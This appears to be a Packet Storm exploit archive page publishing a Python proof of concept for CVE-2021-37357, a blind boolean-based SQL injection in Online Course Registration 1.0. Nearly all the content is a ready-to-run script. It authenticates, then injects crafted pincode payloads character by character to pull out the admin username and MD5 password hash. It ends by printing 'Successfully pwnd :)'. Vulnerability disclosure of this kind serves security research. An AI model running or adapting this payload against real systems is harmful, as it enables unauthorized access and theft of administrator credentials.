exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Online Course Registration 1.0 SQL Injection

Online Course Registration 1.0 SQL Injection
Posted Oct 22, 2021
Authored by Drew Jones, Sam Ferguson

Online Course Registration version 1.0 suffers from a blind boolean-based remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 7a2b88e12b269b54cb21377981ddc1a6971c0d2cdd29f7e161bc42db12bed913

Online Course Registration 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated)
# Exploit Author: Sam Ferguson (@AffineSecurity) and Drew Jones (@qhum7sec)
# Date: 2021-10-21
# Vendor Homepage: https://www.sourcecodester.com/php/14251/online-course-registration.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/online-course-registration.zip
# Version: 1.0
# Tested On: Windows 10 + XAMPP + Python 3

# Vulnerability: An attacker can perform a blind boolean-based SQL injection attack, which can provide attackers
# with access to the username and md5 hash of any administrators.
# Vulnerable file: /online-course-registration/Online/pincode-verification.php
# Proof of Concept:

#!/usr/bin/python3

import requests
import sys
import string

def exploit(hostname, username, password):

# Building bruteforce list
pass_list = list(string.ascii_lowercase)
pass_list += list(range(0,10))
pass_list = map(str, pass_list)
pass_list = list(pass_list)

user_list = pass_list
user_list += list(string.ascii_uppercase)
user_list = map(str, user_list)
user_list = list(user_list)

session = requests.Session()

# This URL may change based on the implementation - change as needed
url = f"{hostname}/online-course-registration/Online/index.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/index.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"regno": f"{username}", "password": f"{password}", "submit": ''}
r = session.post(url, headers=headers, data=data)


print("Admin username:")
# This range number is pretty arbitrary, so change it to whatever you feel like
for i in range(1,33):
counter = 0
find = False
for j in user_list:
# This URL may change based on the implementation - change as needed
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"pincode": f"' or (select(select (substring(username,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
a = session.post(url, headers=headers, data=data)
counter += 1
if 'Course Enroll' in a.text:
sys.stdout.write(j)
sys.stdout.flush()
break
elif counter == len(user_list):
find = True
break
if find:
break

print("\n")
print("Admin password hash:")
# This range is not arbitrary and will cover md5 hashing - if the hashing implementation is different, change as needed
for i in range(1,33):
counter = 0
find = False
for j in pass_list:
url = f"{hostname}/online-course-registration/Online/pincode-verification.php"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "en-CA,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://127.0.0.1", "Connection": "close", "Referer": "http://127.0.0.1/online-course-registration/Online/pincode-verification.php", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1"}
data = {"pincode": f"' or (select(select (substring(password,{i},1)) from admin) = \"{j}\") -- - #", "submit": ''}
a = session.post(url, headers=headers, data=data)
counter += 1
if 'Course Enroll' in a.text:
sys.stdout.write(j)
sys.stdout.flush()
break
elif counter == len(pass_list):
find = True
break
if find:
break

print("\n\nSuccessfully pwnd :)")

def logo():
art = R'''
__/\\\\\\\\\\\\\____/\\\\\\\\\\\__/\\\\\_____/\\\__/\\\\_________/\\\__
_\/\\\/////////\\\_\/////\\\///__\/\\\\\\___\/\\\_\///\\________\/\\\__
_\/\\\_______\/\\\_____\/\\\_____\/\\\/\\\__\/\\\__/\\/_________\/\\\__
_\/\\\\\\\\\\\\\/______\/\\\_____\/\\\//\\\_\/\\\_\//___________\/\\\__
_\/\\\/////////________\/\\\_____\/\\\\//\\\\/\\\__________/\\\\\\\\\__
_\/\\\_________________\/\\\_____\/\\\_\//\\\/\\\_________/\\\////\\\__
_\/\\\_________________\/\\\_____\/\\\__\//\\\\\\________\/\\\__\/\\\__
_\/\\\______________/\\\\\\\\\\\_\/\\\___\//\\\\\________\//\\\\\\\/\\_
_\///______________\///////////__\///_____\/////__________\///////\//__
'''
info = 'CVE-2021-37357 PoC'.center(76)
credits = 'Created by @AffineSecurity and @qhum7sec'.center(76)
print(f"{art}\n{info}\n{credits}")

def main():
logo()
hostname = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

if len(sys.argv) != 4:
print("Usage: python3 exploit.py http://127.0.0.1:80 username password")

exploit(hostname, username, password)

if __name__ == '__main__':
main()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close